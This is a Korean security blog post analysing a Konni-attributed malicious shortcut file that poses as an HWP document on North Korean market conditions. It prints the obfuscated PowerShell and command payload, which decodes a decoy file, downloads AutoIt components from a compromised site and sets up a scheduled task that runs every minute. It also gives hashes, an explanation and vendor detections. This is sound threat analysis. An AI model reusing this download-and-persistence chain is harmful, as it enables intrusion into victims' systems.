꿈을꾸는 파랑새

오늘은 북한 해킹 단체 Konni(코니) 에서 만든 악성코드인 북한 내부정보시장통제 관련 내부 동향 및 물가.hwp.lnk(2024.4.4)에 대해 글을 적어 보겠습니다. 해당 악성코드는 hwp 즉 한글과 컴퓨터에서 만든 HWP 첨부 파일처럼 돼 있는 lnk 파일이며 해당 악성코드를 hwp 즉 한글과 컴퓨터에서 만든 HWP 로 생각을 하고 실행을 하면 PowerShell(파워셀)를 통해서 해당 악성코드가 동작하게 구성이 돼 있습니다. 먼저 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명: 북한 내부정보시장통제 관련 내부 동향 및 물가.hwp.lnk
사이즈:161 KB
MD5:3334d2605c0df26536058f73a43cb074
SHA-1:ebcd247c5ff2babe6ad1f001b4827549391c515c
SHA-256:ba59f1ece68fa051400fd46467b0dc0a5294b8644c107646e75d225a45fff015

Cerbero Suite Advanced LNK 파일 내부
Cerbero Suite Advanced LNK 파일 내부

PowerShell(파워셀) 코드

c zyBeQRaffsdBmhotKxfTsLks(y)VdfYfmvNPf(N)CunXYTuCBdHAcfYzydPPoiFUNVhagGQ
xcARpkhUyqGQvnBcSgMXJZqytPsjcLtwVoixAoJorioxG(t)j(F)jTpUtKfyMcvzSXRPWjVgedz
BwwEzKSSaEMajuzckhKMyThvtrzAvxcAfrMvXeEPUjvVfXGsvgKYurbKoakhjquABjV(S)HdffB
VSpvmqwLgepPdgNpcgWUwECPUsVcPLsbCuyyMobKNwckfNxdgAFWimfqozAUuuWvMnjHG(n)CPe
mfZAsHgURVm(e)vTrpikkMhoszGxSBRvTYSRWffPVSuZCyKqquTsxcscXYNxUVRCduconFWkitq
sqhKTRqhwJx(Y)Q(F)PU(Y)sH(V)ab9R(W)ivucKxHieMZLPoUGCMsVFvmHxMYSAyprymzvuowY
boTdGdeJyaqnHWqNjNCYyQHFv(H)mBNwkppuTqBhbuGoszhcJCW(N)mHKxxkFnHYSBWbPaXncZj
bLhrjwhwtYHGakBERWGLpzcCesrMgevzWBkXBgnPwR(n)aiWVRkugrunVzHCnSeuppBhKwZFcKHT
nxmcuiwAzLYeeHHLpYUvKczYxbkxRFsvJBZvnEidtCVCqxcbPopeRmikYn(E)tXZKVsAuBJmwKQQ
bfgWGZZiJBpnFwtPwZaPfuTZkQcysAREpajcdbFEuNphEfWYiUPwKaJGmhLSXyRgLKYEmrKvsu(t)re
LueTeqxNsVprCQWqPHVXhvUhqLRjseoFq0002858AtrQHnJANfENxuXpzXBtyntoGJabo(i)KQQMENd
eycbownyzgWEkmJvxJeadhZnHnCuQXMQimvxyrjRfQfAewcXbtrdzNaWyQtbTSKBufvZRjWfxnUnbwi
kkF(t)vFJoumyYJYiXofBgYadgRwkEnTMUcGhQnxoXMRaNqknhppFhxqjjgyBYudbByEWcQsKRSFugaq
REjcpXnEuLvYJPV(p)BHQxnMpjrWFQqTVdiRHYPrPeoVijFSKWWAdMrBcepZKsqxnBRsPSfXzjUKirB
eEzmJUPQiLGNCHQGuNRGGtmdSRZb(T)SHtKAkujgHEyMGHgeAoLCyWrLWKrwtTV||goto&po^w^e^rs
he^l^l -windowstyle hidd(e)n function UJw(u)ElHWKh(){$ksGFWhHpfZ=Get-ChildItem 
*.lnk;$ksGFWhHpfZ=$k(s)GFWhHpfZ^|where-object{$_.length -eq 0x0002858A};$zHWgpc
hixy(=)$ksGFWh(H)pfZ;$ksGFWhHpfZ=$ksGFWhHpfZ^|Select-Object -ExpandProperty Nam
e;if($ksGFWhHpfZ(.)length -eq 0){cd $env:TEMP;$ksGFWhHpfZ=Get-ChildItem  *(.)ln
k;$k(s)GFWhHpfZ=$ksGFWhHpfZ^|where-object {$_.length -eq 0x0(0)02858A} ;$zHWgpc
hixy=$ksGFWhH(p)fZ;$ksGFWh(H)pfZ=$ksGFWhHpfZ^|Select-Object -ExpandProperty Nam
e;}return @($ksGFWhHpfZ, $zHWgpchi(x)y)};function xnMzgCQGES(){$zdLIXjAqBy=UJwu
ElHWKh;$ksG(F)WhHpfZ=$zdLIXjAqBy[0];$ksGFWhHpfZ=$ksGFWhHpfZ.substring(0,$ksGFWh
HpfZ.length-4);return $k(s)GFWhHpfZ};function msGSqHXiPb{$zdLIXjAqBy=xnMzgCQGES
;$(p)ovIjhOBgz(=)UJwuElHWKh(;)$ksGFWhHpfZ=$povIjhOBgz[0];$IUihtynbEF=[System.IO
.BinaryReader]::n(e)w([System.IO.File]::(o)pen($ksGFWhHpfZ,[System.IO.FileMode]
::Open,[System.IO(.)FileAccess]::ReadWrite,[System(.)IO.FileShare]::None));try{
$IUihtynbEF.BaseStream.Seek(0x(0)0001DF1,[System(.)IO.SeekOrigin]::Beg(i)n);$Oz
SR(Y)WosVJ=$IUihtynbEF.ReadBytes(0x0(0)00CE00);}finally{$IUihtynbEF.Close()};fo
r($RJPVDAeoNg=0; $RJPVDAeoNg -lt $OzSRYWosVJ.coun(t); $RJP(V)DAeoNg++) { $OzSRY
WosVJ[$RJPVD(A)eoNg]=$OzSRY(W)osVJ[$RJP(V)DAeoNg] -(b)xor 0xA1 };[System.IO(.)F
ile]::W(r)iteAllBytes($zdL(I)XjAqBy,$OzSRYWosVJ);$yujRnfzHNA='.\'(+)$zdLIXjAqBy
;^& $yujR(n)fzHNA;return 'npXIZBhRQd'};$yuj(R)nfzHNA=msGSqHXiPb(;)$eHjrSJd(k)NK
=UJwuElHWKh;remove-item -path $eHjrSJdkNK[1] -forc(e);&mkdir c:\LNjyqJhtie (&) 
attrib +h c:\LNj(y)qJhtie & cd /d c:\LNjyqJhti(e) & copy c:\windows\system32\cu
rl(.)exe LNjyqJhtie(.)exe & LNjyqJhtie (-)k -o AutoIt3(.)exe https://www(.)camm
irando(.)com/wp-admin/css/temp/movement/?ra=aaaaaa^(&)zw=default0 & LN(j)yqJhti
e -k -o TMsjSIGWPN.au3 https://www.cammirando(.)com/wp-admin/css/temp/movement/
?ra=aaaaaa^&zw=default1 & schtasks /create /sc minu(t)e /mo 1 /tn "TMsjSIGWPN" 
/(t)r "c:\LNjyqJhtie\AutoIt3(.)exe c:\LNjyqJhtie(\)TMsjSIGWPN(.)au3"
 iconlocation: .hwp
}

local_base_path: C:\Windows\System32\cmd.exe

PowerShell(파워셀) 코드 분석

1.함수 정의
UJwuElHWKh 함수: 특정 조건에 맞는 .lnk 파일을 검색하고 파일 이름을 반환
여기서 조건은 파일의 길이가 0x0002858A인지 확인
xnMzgCQGES 함수:UJwuElHWKh 함수에서 반환된 파일 이름에서 확장자를 제거
msGSqHXiPb 함수:xnMzgCQGES 함수에서 반환된 파일 이름을 사용하여 파일을 읽고 내용을 수정
2.파일 검색 및 수정
UJwuElHWKh 함수를 사용하여 특정 조건에 맞는 .lnk 파일을 검색
xnMzgCQGES 함수를 사용하여 검색된 파일 이름의 확장자를 제거
msGSqHXiPb 함수를 사용하여 파일 내용을 읽고 수정 이후 수정된 내용을 해당 파일에 덮어씁니다.
3. 추가 파일 다운로드 및 실행
msGSqHXiPb 함수는 웹에서 악성 스크립트를 다운로드
다운로드 URL: hxxps://www(.)cammirando(.)com/wp-admin/css/temp/movement/?ra=aaaaaa^&zw=default0
hxxps://www(.)cammirando(.)com/wp-admin/css/temp/movement/?ra=aaaaaa^&zw=default0
파일 이름:TMsjSIGWPN.au3

ProcessExplorer 본 파워셀 실행
ProcessExplorer 본 파워셀 실행

이후 다운로드된 스크립트를 실행
4. 시스템 작업 스케줄러 설정
악성 코드는 시스템 작업 스케줄러를 사용하여 주기적으로 악성 스크립트를 실행하도록 설정
실행 주기: 1분
실행 명령:c:\LNjyqJhtie\AutoIt3.exe c:\LNjyqJhtie\TMsjSIGWPN(.)au3

북한 내부정보시장통제 관련 내부 동향 및 물가 내용 파워셀 실행 시 화면
북한 내부정보시장통제 관련 내부 동향 및 물가 내용 파워셀 실행 시 화면

5.숨김 처리
악성 코드는 실행 과정을 숨기고 파일을 시스템 속성에 숨기려고 시도
attrib +h c:\LNjyqJhtie 명령어를 사용하여 디렉토리를 숨김
해당 코드는 다음과 같은 악성 코드의 특징을 가지고 있습니다:
파일 검색 및 수정: 특정 조건에 맞는 파일을 검색하고 내용을 수정
추가 파일 다운로드 및 실행: 인터넷에서 악성 파일을 다운로드하고 실행
시스템 작업 스케줄러 설정: 시스템 작업 스케줄러를 사용하여 악성 코드를 주기적으로 실행하도록 설정
숨김 처리:과정을 숨기고 파일을 시스템 속성에 숨기려고 함

악성코드가 생성한 파일
악성코드가 생성한 파일

 

시스템 작업 스케줄러를 사용하여 주기적으로 악성 스크립트를 실행하도록 설정하는 목적은 간단합니다.
시스템 작업 스케줄러를 사용하여 주기적으로 악성 스크립트를 실행하는 이유는 다음과 같습니다:
1. 영구적인 백도어 설정: 시스템 작업 스케줄러를 통해 악성 스크립트를 주기적으로 실행하면 시스템에 영구적인 이를 통해 시스템에 대한 외부 공격이 이루어질 수 있음
2. 정기적인 악의적 활동 실행: 성 스크립트를 주기적으로 실행하면 해커는 정기적으로 악의적인 활동을 수행할 수 있습니다. 예를 들어, 시스템 정보 수집, 파일 암호화, 파일 탐색, 또는 백도어 기능 활성화 등을 수행
3. 피해 최소화: 악성코드를 만든 악성코드 제작자는 악성 스크립트를 한 번 실행하는 것보다 주기적으로 실행하여 시스템에 대한 제어를 유지하고 피해를 더 많이 끼칠 수 있음
정기적인 실행은 시스템에 대한 지속적인 접근을 제공하며, 이는 피해를 최소화하기 어렵게 만들 수 있습니다.
4. 탐지 회피: 일회성 실행보다는 주기적인 실행이 탐지를 회피하는 데 더 효과적일 수 있으며 악성적인 활동이 정기적으로 발생하면 이를 감지하고 방어하는 데 더 많은 시간이 필요할 수 있음

악성코드 실행시 생성되는 북한 내부정보시장통제 관련 내부 동향 및 물가 내용
악성코드 실행시 생성되는 북한 내부정보시장통제 관련 내부 동향 및 물가 내용

2024-04-07 11:37:48 UTC 기준 바이러스 토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Pantera.3049.7884F805 [many]
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.YAX.Pantera.3049.7884F805
Emsisoft:Heur.BZC.YAX.Pantera.3049.7884F805 (B)
eScan:Heur.BZC.YAX.Pantera.3049.7884F805
ESET-NOD32:A Variant Of Generik.GNWVYLU
Fortinet:LNK/Agent.AG!tr.dldr
GData:Win32.Malware.LnkCreatesSchtask.A
Google:Detected
Gridinsoft (no cloud):Susp.Obfuscted_PowerShell_Code.C.sd!yf
Ikarus:Win32.Outbreak
Kaspersky:HEUR:Trojan.Multi.Powenot.a
Lionic:Trojan.WinLNK.Pantera.4!c
MAX:Malware (ai Score=84)
McAfee:Artemis!3334D2605C0D
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Trojan.cb
Sophos:Mal/PowLnkObf-D
Symantec:CL.Downloader!gen20
Trellix (FireEye):Heur.BZC.YAX.Pantera.3049.7884F805
Varist:LNK/ABRisk.UIOP-2
VBA32:Trojan.Link.Crafted
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powenot.a
ZonerProbably Heur.LNKScript
기본적으로 이런 악성코드에 대응하려면 백신 프로그램을 설치해서 사용하면 되고 자신이 아는 사람에게 온 이메일이라도 의심해 보는 방법밖에 없으며 해당 부분을 보면 우리 북한??은 대북 관계자 분들을 타겟 으로 공격을 하는 것으로 추측되며 해당 악성코드는 이번에는 이탈리아 여행 관련 사이트를 해킹해서 악성코드 유포지로 사용한 것을 보고 있으며 해당 자신이 관리하는 사이트 등은 잘 관리 해서 악성코드 경유지로 사용되는 것을 막아야 하겠습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band